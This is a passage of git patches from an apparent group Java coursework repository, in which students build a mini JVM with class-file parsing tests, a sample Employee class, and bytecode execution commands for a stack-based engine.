+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+
+}
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/test/EmployeeV1.java b/group01/1814014897/zhouhui/src/week07/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..00f90183c9
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package week07.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group01/1814014897/zhouhui/src/week07/jvm/util/Util.java b/group01/1814014897/zhouhui/src/week07/jvm/util/Util.java
new file mode 100644
index 0000000000..d2cb5d2cc5
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week07/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package week07.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}

From 2ec66ba18355742c7106d588364207bec7493e43 Mon Sep 17 00:00:00 2001
From: Haochen <haochen_233333@163.com>
Date: Sun, 30 Apr 2017 17:40:11 +0800
Subject: [PATCH 143/262] debug jvm executing engine

---
 .../src/main/java/jvm/ClassFileLoader.java    |   3 +
 .../java/jvm/classfile/method/Method.java     | 160 +++++++++---------
 .../java/jvm/command/item/impl/DupCmd.java    |   2 +-
 .../src/main/java/jvm/engine/JavaObject.java  |  12 ++
 .../src/main/java/jvm/engine/StackFrame.java  |   8 -
 5 files changed, 97 insertions(+), 88 deletions(-)

diff --git a/group01/895457260/code/src/main/java/jvm/ClassFileLoader.java b/group01/895457260/code/src/main/java/jvm/ClassFileLoader.java
index ade626ad83..cb080512f1 100644
--- a/group01/895457260/code/src/main/java/jvm/ClassFileLoader.java
+++ b/group01/895457260/code/src/main/java/jvm/ClassFileLoader.java
@@ -43,6 +43,9 @@ public byte[] readBinaryCode(String className) throws ReadClassException {
 
 	private File getClassFile(String className) throws ClassDuplicateException {
 		int split = className.lastIndexOf('.');
+		if (split == -1) {
+			split = className.lastIndexOf('/');
+		}
 		String fileName = className.substring(split + 1) + ".class";
 		String subPath = className.substring(0, split).replaceAll("[.]", "/");
 		List<File> files = new ArrayList<>();
diff --git a/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java b/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
index 4928bcc324..bea02fb082 100644
--- a/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
+++ b/group01/895457260/code/src/main/java/jvm/classfile/method/Method.java
@@ -17,83 +17,85 @@
 import java.util.List;
 
 public class Method {
-	private AccessFlag accessFlag;
-	private int nameIndex;
-	private int descriptorIndex;
-	private ConstantPool constantPool;
-	private List<AttributeInfo> attributes = new ArrayList<>();
-	private ByteCodeCommand[] commands;
-
-	public Method(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool constantPool) {
-		this.accessFlag = new AccessFlag(accessFlag);
-		this.nameIndex = nameIndex;
-		this.descriptorIndex = descriptorIndex;
-		this.constantPool = constantPool;
-	}
-
-	public static Method parse(ByteCodeIterator iterator, ClassFile classFile) {
-		int access = iterator.nextU2ToInt();
-		int name = iterator.nextU2ToInt();
-		int descriptor = iterator.nextU2ToInt();
-		int attrCount = iterator.nextU2ToInt();
-		Method result = new Method(access, name, descriptor, classFile.getConstantPool());
-		for (int i = 0; i < attrCount; ++i) {
-			result.attributes.add(AttributeParser.parse(iterator, classFile.getConstantPool()));
-		}
-		CodeAttr codeAttr = (CodeAttr) result.attributes.stream()
-				.filter(a -> a instanceof CodeAttr).findFirst().orElse(null);
-		if (codeAttr != null) {
-			result.commands = CommandParser.parse(classFile, codeAttr.getCode());
-		}
-		return result;
-	}
-
-	public String[] getParamTypes() {
-		String[] split = Arrays.stream(getParamAndReturnType().split("[)(L;]"))
-				.filter(s -> !"".equals(s))
-				.toArray(String[]::new);
-
-		List<String> result = new ArrayList<>();
-		Arrays.stream(split).forEach(s ->
-				result.add(s.length() == 1 ?
-						TypeUtils.parse(s) : s));
-
-		return result.toArray(new String[result.size()]);
-	}
-
-	public int getParamCount() {
-		return getParamTypes().length;
-	}
-
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-
-	public int getNameIndex() {
-		return nameIndex;
-	}
-
-	public List<AttributeInfo> getAttributes() {
-		return attributes;
-	}
-
-	public int getDescriptorIndex() {
-		return descriptorIndex;
-	}
-
-	public ByteCodeCommand[] getCommands() {
-		return commands;
-	}
-
-	public String getName() {
-		return ((UTF8Info) getConstantPool().getConstantInfo(getNameIndex())).getValue();
-	}
-
-	public String getParamAndReturnType() {
-		return ((UTF8Info) getConstantPool().getConstantInfo(getDescriptorIndex())).getValue();
-	}
+    private AccessFlag accessFlag;
+    private int nameIndex;
+    private int descriptorIndex;
+    private ConstantPool constantPool;
+    private List<AttributeInfo> attributes = new ArrayList<>();
+    private ByteCodeCommand[] commands;
+
+    public Method(int accessFlag, int nameIndex, int descriptorIndex, ConstantPool constantPool) {
+        this.accessFlag = new AccessFlag(accessFlag);
+        this.nameIndex = nameIndex;
+        this.descriptorIndex = descriptorIndex;
+        this.constantPool = constantPool;
+    }
+
+    public static Method parse(ByteCodeIterator iterator, ClassFile classFile) {
+        int access = iterator.nextU2ToInt();
+        int name = iterator.nextU2ToInt();
+        int descriptor = iterator.nextU2ToInt();
+        int attrCount = iterator.nextU2ToInt();
+        Method result = new Method(access, name, descriptor, classFile.getConstantPool());
+        for (int i = 0; i < attrCount; ++i) {
+            result.attributes.add(AttributeParser.parse(iterator, classFile.getConstantPool()));
+        }
+        CodeAttr codeAttr = (CodeAttr) result.attributes.stream()
+                .filter(a -> a instanceof CodeAttr).findFirst().orElse(null);
+        if (codeAttr != null) {
+            result.commands = CommandParser.parse(classFile, codeAttr.getCode());
+        }
+        return result;
+    }
+
+    public String[] getParamTypes() {
+        String str = getParamAndReturnType();
+        str = str.substring(str.indexOf('(') + 1, str.lastIndexOf(')'));
+        String[] split = Arrays.stream(str.split("[L;]"))
+                .filter(s -> !"".equals(s))
+                .toArray(String[]::new);
+
+        List<String> result = new ArrayList<>();
+        Arrays.stream(split).forEach(s ->
+                result.add(s.length() == 1 ?
+                        TypeUtils.parse(s) : s));
+
+        return result.toArray(new String[result.size()]);
+    }
+
+    public int getParamCount() {
+        return getParamTypes().length;
+    }
+
+    public AccessFlag getAccessFlag() {
+        return accessFlag;
+    }
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public int getNameIndex() {
+        return nameIndex;
+    }
+
+    public List<AttributeInfo> getAttributes() {
+        return attributes;
+    }
+
+    public int getDescriptorIndex() {
+        return descriptorIndex;
+    }
+
+    public ByteCodeCommand[] getCommands() {
+        return commands;
+    }
+
+    public String getName() {
+        return ((UTF8Info) getConstantPool().getConstantInfo(getNameIndex())).getValue();
+    }
+
+    public String getParamAndReturnType() {
+        return ((UTF8Info) getConstantPool().getConstantInfo(getDescriptorIndex())).getValue();
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java b/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
index 3543bc4f37..4ce44270f0 100644
--- a/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
+++ b/group01/895457260/code/src/main/java/jvm/command/item/impl/DupCmd.java
@@ -24,6 +24,6 @@ public String toString() {
     @Override
     public void execute(StackFrame frame, ExecutionResult result) {
         JavaObject object = frame.getOperandStack().peek();
-        frame.getOperandStack().push(object);
+        frame.getOperandStack().push(new JavaObject(object));
     }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/engine/JavaObject.java b/group01/895457260/code/src/main/java/jvm/engine/JavaObject.java
index 8e6066755e..6d1379ad89 100644
--- a/group01/895457260/code/src/main/java/jvm/engine/JavaObject.java
+++ b/group01/895457260/code/src/main/java/jvm/engine/JavaObject.java
@@ -74,4 +74,16 @@ public String getClassName() {
     public void setFloatValue(float value) {
         this.floatValue = value;
     }
+
+    public JavaObject(JavaObject object) {
+        type = object.type;
+        className = object.className;
+        stringValue = object.stringValue;
+        intValue = object.intValue;
+        floatValue = object.floatValue;
+        fieldValues = new HashMap<>();
+        for (Map.Entry<String, JavaObject> entry : fieldValues.entrySet()) {
+            fieldValues.put(entry.getKey(), new JavaObject(entry.getValue()));
+        }
+    }
 }
diff --git a/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java b/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
index 6313623b34..8807caa37f 100644
--- a/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
+++ b/group01/895457260/code/src/main/java/jvm/engine/StackFrame.java
@@ -1,7 +1,5 @@
 package jvm.engine;
 
-import jvm.classfile.ConstantPool;
-import jvm.classfile.constant.item.impl.MethodRefInfo;
 import jvm.classfile.method.Method;
 import jvm.command.item.ByteCodeCommand;
 import jvm.command.item.TwoOperandCmd;
@@ -36,12 +34,6 @@ public ExecutionResult execute() throws ReadClassException {
             if (result.isExitCurrentFrame()) {
                 return result;
             } else if (result.isPauseAndRunNewFrame()) {
-                TwoOperandCmd invokeCmd = (TwoOperandCmd) cmd;
-                int methodIndex = (invokeCmd.getOperand1() << 8) | invokeCmd.getOperand2();
-                ConstantPool constantPool = getMethod().getConstantPool();
-                MethodRefInfo next = (MethodRefInfo) constantPool.getConstantInfo(methodIndex);
-                Method nextMethod = MethodArea.getInstance().getMethod(next);
-                result.setNextMethod(nextMethod);
                 return result;
             } else if (result.isJump()) {
                 TwoOperandCmd jumpCmd = (TwoOperandCmd) cmd;

From 04ed6b5a9a9c17b3ebc7cbf57ca989ac8e853e20 Mon Sep 17 00:00:00 2001
From: zheng <765324639@qq.com>
Date: Sun, 30 Apr 2017 19:07:26 +0800
Subject: [PATCH 144/262] =?UTF-8?q?jvm=E7=AC=AC=E4=BA=94=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group01/765324639/pom.xml                     |  53 +++++---
 .../src/main/java/minijvm/attr/CodeAttr.java  |   2 +-
 .../src/main/java/minijvm/cmd/BiPushCmd.java  |  15 ++-
 .../java/minijvm/cmd/ByteCodeCommand.java     |  52 +++++---
 .../main/java/minijvm/cmd/CommandParser.java  |   3 +-
 .../main/java/minijvm/cmd/GetFieldCmd.java    |  18 ++-
 .../java/minijvm/cmd/GetStaticFieldCmd.java   |  25 +++-
 .../java/minijvm/cmd/InvokeSpecialCmd.java    |  26 +++-
 .../java/minijvm/cmd/InvokeVirtualCmd.java    |  53 +++++++-
 .../src/main/java/minijvm/cmd/LdcCmd.java     |  23 +++-
 .../main/java/minijvm/cmd/NewObjectCmd.java   |  20 +++-
 .../main/java/minijvm/cmd/NoOperandCmd.java   |  71 ++++++++++-
 .../main/java/minijvm/cmd/PutFieldCmd.java    |  24 +++-
 .../main/java/minijvm/cmd/TwoOperandCmd.java  |   9 +-
 .../java/minijvm/engine/ExecutionResult.java  |  53 ++++++++
 .../java/minijvm/engine/ExecutorEngine.java   |  61 ++++++++++
 .../src/main/java/minijvm/engine/Heap.java    |  39 ++++++
 .../main/java/minijvm/engine/JavaObject.java  |  72 +++++++++++
 .../main/java/minijvm/engine/MethodArea.java  |  77 ++++++++++++
 .../src/main/java/minijvm/engine/MiniJVM.java |  28 +++++
 .../main/java/minijvm/engine/StackFrame.java  | 113 ++++++++++++++++++
 .../src/main/java/minijvm/method/Method.java  |  47 ++++++++
 .../test/java/minijvm/loader/MiniJVMTest.java |  30 +++++
 23 files changed, 851 insertions(+), 63 deletions(-)
 create mode 100644 group01/765324639/src/main/java/minijvm/engine/ExecutionResult.java
 create mode 100644 group01/765324639/src/main/java/minijvm/engine/ExecutorEngine.java
 create mode 100644 group01/765324639/src/main/java/minijvm/engine/Heap.java
 create mode 100644 group01/765324639/src/main/java/minijvm/engine/JavaObject.java
 create mode 100644 group01/765324639/src/main/java/minijvm/engine/MethodArea.java
 create mode 100644 group01/765324639/src/main/java/minijvm/engine/MiniJVM.java
 create mode 100644 group01/765324639/src/main/java/minijvm/engine/StackFrame.java
 create mode 100644 group01/765324639/src/test/java/minijvm/loader/MiniJVMTest.java

diff --git a/group01/765324639/pom.xml b/group01/765324639/pom.xml
index 24816f0f3f..5b30da402c 100644
--- a/group01/765324639/pom.xml
+++ b/group01/765324639/pom.xml
@@ -1,18 +1,37 @@
-<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
-  <modelVersion>4.0.0</modelVersion>
-  <groupId>com.zavier</groupId>
-  <artifactId>765324639Learning</artifactId>
-  <version>0.0.1-SNAPSHOT</version>
-  <dependencies>
-  	<dependency>
-  		<groupId>junit</groupId>
-  		<artifactId>junit</artifactId>
-  		<version>4.12</version>
-  	</dependency>
-  	<dependency>
-  		<groupId>dom4j</groupId>
-  		<artifactId>dom4j</artifactId>
-  		<version>1.6.1</version>
-  	</dependency>
-  </dependencies>
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+	xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+	<modelVersion>4.0.0</modelVersion>
+	<groupId>com.zavier</groupId>
+	<artifactId>765324639Learning</artifactId>
+	<version>0.0.1-SNAPSHOT</version>
+	<dependencies>
+		<dependency>
+			<groupId>junit</groupId>
+			<artifactId>junit</artifactId>
+			<version>4.12</version>
+		</dependency>
+		<dependency>
+			<groupId>dom4j</groupId>
+			<artifactId>dom4j</artifactId>
+			<version>1.6.1</version>
+		</dependency>
+		<dependency>
+			<groupId>org.apache.commons</groupId>
+			<artifactId>commons-lang3</artifactId>
+			<version>3.5</version>
+		</dependency>
+	</dependencies>
+
+	<build>
+		<plugins>
+			<plugin>
+				<groupId>org.apache.maven.plugins</groupId>
+				<artifactId>maven-compiler-plugin</artifactId>
+				<configuration>
+					<source>1.8</source>
+					<target>1.8</target>
+				</configuration>
+			</plugin>
+		</plugins>
+	</build>
 </project>
\ No newline at end of file
diff --git a/group01/765324639/src/main/java/minijvm/attr/CodeAttr.java b/group01/765324639/src/main/java/minijvm/attr/CodeAttr.java
index 43a02cfa48..fcef4cdb7f 100644
--- a/group01/765324639/src/main/java/minijvm/attr/CodeAttr.java
+++ b/group01/765324639/src/main/java/minijvm/attr/CodeAttr.java
@@ -49,7 +49,7 @@ public String toString(ConstantPool pool){
         StringBuilder buffer = new StringBuilder();
         //buffer.append("Code:").append(code).append("\n");
         for(int i=0;i<cmds.length;i++){
-            buffer.append(cmds[i].toString(pool)).append("\n");
+            buffer.append(cmds[i].toString()).append("\n");
         }
         buffer.append("\n");
         buffer.append(this.lineNumTable.toString());
diff --git a/group01/765324639/src/main/java/minijvm/cmd/BiPushCmd.java b/group01/765324639/src/main/java/minijvm/cmd/BiPushCmd.java
index b2945d337f..68eb57909a 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/BiPushCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/BiPushCmd.java
@@ -1,20 +1,29 @@
 package minijvm.cmd;
 
 import minijvm.clz.ClassFile;
-import minijvm.constant.ConstantPool;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.Heap;
+import minijvm.engine.JavaObject;
+import minijvm.engine.StackFrame;
 
 public class BiPushCmd extends OneOperandCmd {
 
 	public BiPushCmd(ClassFile clzFile,String opCode) {
 		super(clzFile,opCode);
-		
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 	
 		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
 	}
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        int value = this.getOperand();
+        JavaObject jo = Heap.getInstance().newInt(value);
+        frame.getOprandStack().push(jo);
+    }
 	
 	
 
diff --git a/group01/765324639/src/main/java/minijvm/cmd/ByteCodeCommand.java b/group01/765324639/src/main/java/minijvm/cmd/ByteCodeCommand.java
index 910a59520f..0b835b4a1d 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/ByteCodeCommand.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/ByteCodeCommand.java
@@ -6,6 +6,8 @@
 import minijvm.clz.ClassFile;
 import minijvm.constant.ConstantInfo;
 import minijvm.constant.ConstantPool;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.StackFrame;
 
 
 public abstract class ByteCodeCommand {	
@@ -14,6 +16,41 @@ public abstract class ByteCodeCommand {
 	ClassFile clzFile;
 	private int offset;
 	
+	public static final String aconst_null = "01";
+    public static final String new_object = "BB";
+    public static final String lstore = "37";
+    public static final String invokespecial = "B7";
+    public static final String invokevirtual = "B6";
+    public static final String getfield = "B4";
+    public static final String putfield = "B5";
+    public static final String getstatic = "B2";
+    public static final String ldc = "12";
+    public static final String dup = "59";
+    public static final String bipush = "10";
+    public static final String aload_0 = "2A";
+    public static final String aload_1 = "2B";
+    public static final String aload_2 = "2C";
+    public static final String iload = "15";
+    public static final String iload_1 = "1B";
+    public static final String iload_2 = "1C";
+    public static final String iload_3 = "1D";
+    public static final String fload_3 = "25";
+
+    public static final String voidreturn = "B1";
+    public static final String ireturn = "AC";
+    public static final String freturn = "AE";
+
+    public static final String astore_1 = "4C";
+    public static final String if_icmp_ge = "A2";
+    public static final String if_icmple = "A4";
+    public static final String goto_no_condition = "A7";
+    public static final String iconst_0 = "03";
+    public static final String iconst_1 = "04";
+    public static final String istore_1 = "3C";
+    public static final String istore_2 = "3D";
+    public static final String iadd = "60";
+    public static final String iinc = "84";
+	
 	private static Map<String,String> codeMap = new HashMap<String,String>();
 	
 	static{
@@ -104,19 +141,6 @@ public String getOpCode() {
 
 	public abstract int getLength();
 	
-	
-	
-	
-	@Override
-    public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
 	public String getReadableCodeText(){
 		String txt = codeMap.get(opCode.toUpperCase());
 		if(txt == null){
@@ -125,5 +149,5 @@ public String getReadableCodeText(){
 		return txt;
 	}
 	
-	//public abstract void execute(StackFrame frame,FrameResult result);
+	public abstract void execute(StackFrame frame,ExecutionResult result);
 }
diff --git a/group01/765324639/src/main/java/minijvm/cmd/CommandParser.java b/group01/765324639/src/main/java/minijvm/cmd/CommandParser.java
index 189c208e87..6889c31d58 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/CommandParser.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/CommandParser.java
@@ -114,7 +114,8 @@ public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
 	    }
 	    calcuateOffset(commandList);
 	    ByteCodeCommand[] commands = new ByteCodeCommand[commandList.size()];
-		return commandList.toArray(commands);
+		commandList.toArray(commands);
+		return commands;
 	}
 
 	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
diff --git a/group01/765324639/src/main/java/minijvm/cmd/GetFieldCmd.java b/group01/765324639/src/main/java/minijvm/cmd/GetFieldCmd.java
index 972ae719be..962857392f 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/GetFieldCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/GetFieldCmd.java
@@ -1,7 +1,10 @@
 package minijvm.cmd;
 
 import minijvm.clz.ClassFile;
-import minijvm.constant.ConstantPool;
+import minijvm.constant.FieldRefInfo;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.JavaObject;
+import minijvm.engine.StackFrame;
 
 public class GetFieldCmd extends TwoOperandCmd {
 
@@ -10,11 +13,20 @@ public GetFieldCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsField(pool);
+		return super.getOperandAsField();
 	}
 
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        FieldRefInfo fieldRefInfo = (FieldRefInfo) this.getConstantInfo(this.getIndex());
+        String fieldName = fieldRefInfo.getFieldName();
+        JavaObject jo = frame.getOprandStack().pop();
+        JavaObject fieldValue = jo.getFieldValue(fieldName);
+        frame.getOprandStack().push(fieldValue);
+    }
+
 	
 	
 
diff --git a/group01/765324639/src/main/java/minijvm/cmd/GetStaticFieldCmd.java b/group01/765324639/src/main/java/minijvm/cmd/GetStaticFieldCmd.java
index 648a8940ec..fdfbb73231 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/GetStaticFieldCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/GetStaticFieldCmd.java
@@ -1,7 +1,11 @@
 package minijvm.cmd;
 
 import minijvm.clz.ClassFile;
-import minijvm.constant.ConstantPool;
+import minijvm.constant.FieldRefInfo;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.Heap;
+import minijvm.engine.JavaObject;
+import minijvm.engine.StackFrame;
 
 public class GetStaticFieldCmd extends TwoOperandCmd {
 
@@ -11,9 +15,24 @@ public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsField(pool);
+		return super.getOperandAsField();
 	}
 
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        FieldRefInfo info = (FieldRefInfo) this.getConstantInfo(this.getIndex());
+        String className = info.getClassName();
+        String fieldName = info.getFieldName();
+        String fieldType = info.getFieldType();
+        
+        if ("java/lang/System".equals(className)
+                && "out".equals(fieldName)
+                && "Ljava/io/PrintStream;".equals(fieldType)) {
+            JavaObject jo = Heap.getInstance().newObject(className);
+            frame.getOprandStack().push(jo);
+        }
+    }
+
 }
diff --git a/group01/765324639/src/main/java/minijvm/cmd/InvokeSpecialCmd.java b/group01/765324639/src/main/java/minijvm/cmd/InvokeSpecialCmd.java
index 460706b635..e965af081c 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/InvokeSpecialCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/InvokeSpecialCmd.java
@@ -1,7 +1,11 @@
 package minijvm.cmd;
 
 import minijvm.clz.ClassFile;
-import minijvm.constant.ConstantPool;
+import minijvm.constant.MethodRefInfo;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.MethodArea;
+import minijvm.engine.StackFrame;
+import minijvm.method.Method;
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
 
@@ -11,11 +15,27 @@ public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsMethod(pool);
+		return super.getOperandAsMethod();
 	}
 
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        MethodRefInfo methodRefInfo = (MethodRefInfo) this.getConstantInfo(this.getIndex());
+        
+        // java.lang.Object类的init方法（构造函数）不需要实现
+        if ("java/lang/Object".equals(methodRefInfo.getClassName()) 
+                && "<init>".equals(methodRefInfo.getMethodName())) {
+            return;
+        }
+        
+        Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+        
+        result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+        result.setNextMethod(nextMethod);
+    }
+
 	
 
 }
diff --git a/group01/765324639/src/main/java/minijvm/cmd/InvokeVirtualCmd.java b/group01/765324639/src/main/java/minijvm/cmd/InvokeVirtualCmd.java
index b2957bbcb6..f0e50b1eb0 100644
--- a/group01/765324639/src/main/java/minijvm/cmd/InvokeVirtualCmd.java
+++ b/group01/765324639/src/main/java/minijvm/cmd/InvokeVirtualCmd.java
@@ -1,7 +1,12 @@
 package minijvm.cmd;
 
 import minijvm.clz.ClassFile;
-import minijvm.constant.ConstantPool;
+import minijvm.constant.MethodRefInfo;
+import minijvm.engine.ExecutionResult;
+import minijvm.engine.JavaObject;
+import minijvm.engine.MethodArea;
+import minijvm.engine.StackFrame;
+import minijvm.method.Method;
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
 
@@ -10,10 +15,52 @@ public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
 	}
 
 	@Override
-	public String toString(ConstantPool pool) {
+	public String toString() {
 		
-		return super.getOperandAsMethod(pool);
+		return super.getOperandAsMethod();
 	}
+	
+	private boolean isSystemOutPrintlnMethod(String className, String methodName) {
+	    return "java/io/PrintStream".equals(className) && "println".equals(methodName);
+	}
+
+    @Override
+    public void execute(StackFrame frame, ExecutionResult result) {
+        MethodRefInfo methodRefInfo = (MethodRefInfo) this.getConstantInfo(this.getIndex());
+        
+        String className = methodRefInfo.getClassName();
+        String methodName = methodRefInfo.getMethodName();
+        
+        if (isSystemOutPrintlnMethod(className, methodName)) {
+            JavaObject jo = frame.getOprandStack().pop();
+            String value = jo.toString();
+            System.err.println("--------------------" + value + "-------------------");
+            
+            frame.getOprandStack().pop();
+            return;
+        }
+        
+        JavaObject jo = frame.getOprandStack().peek();
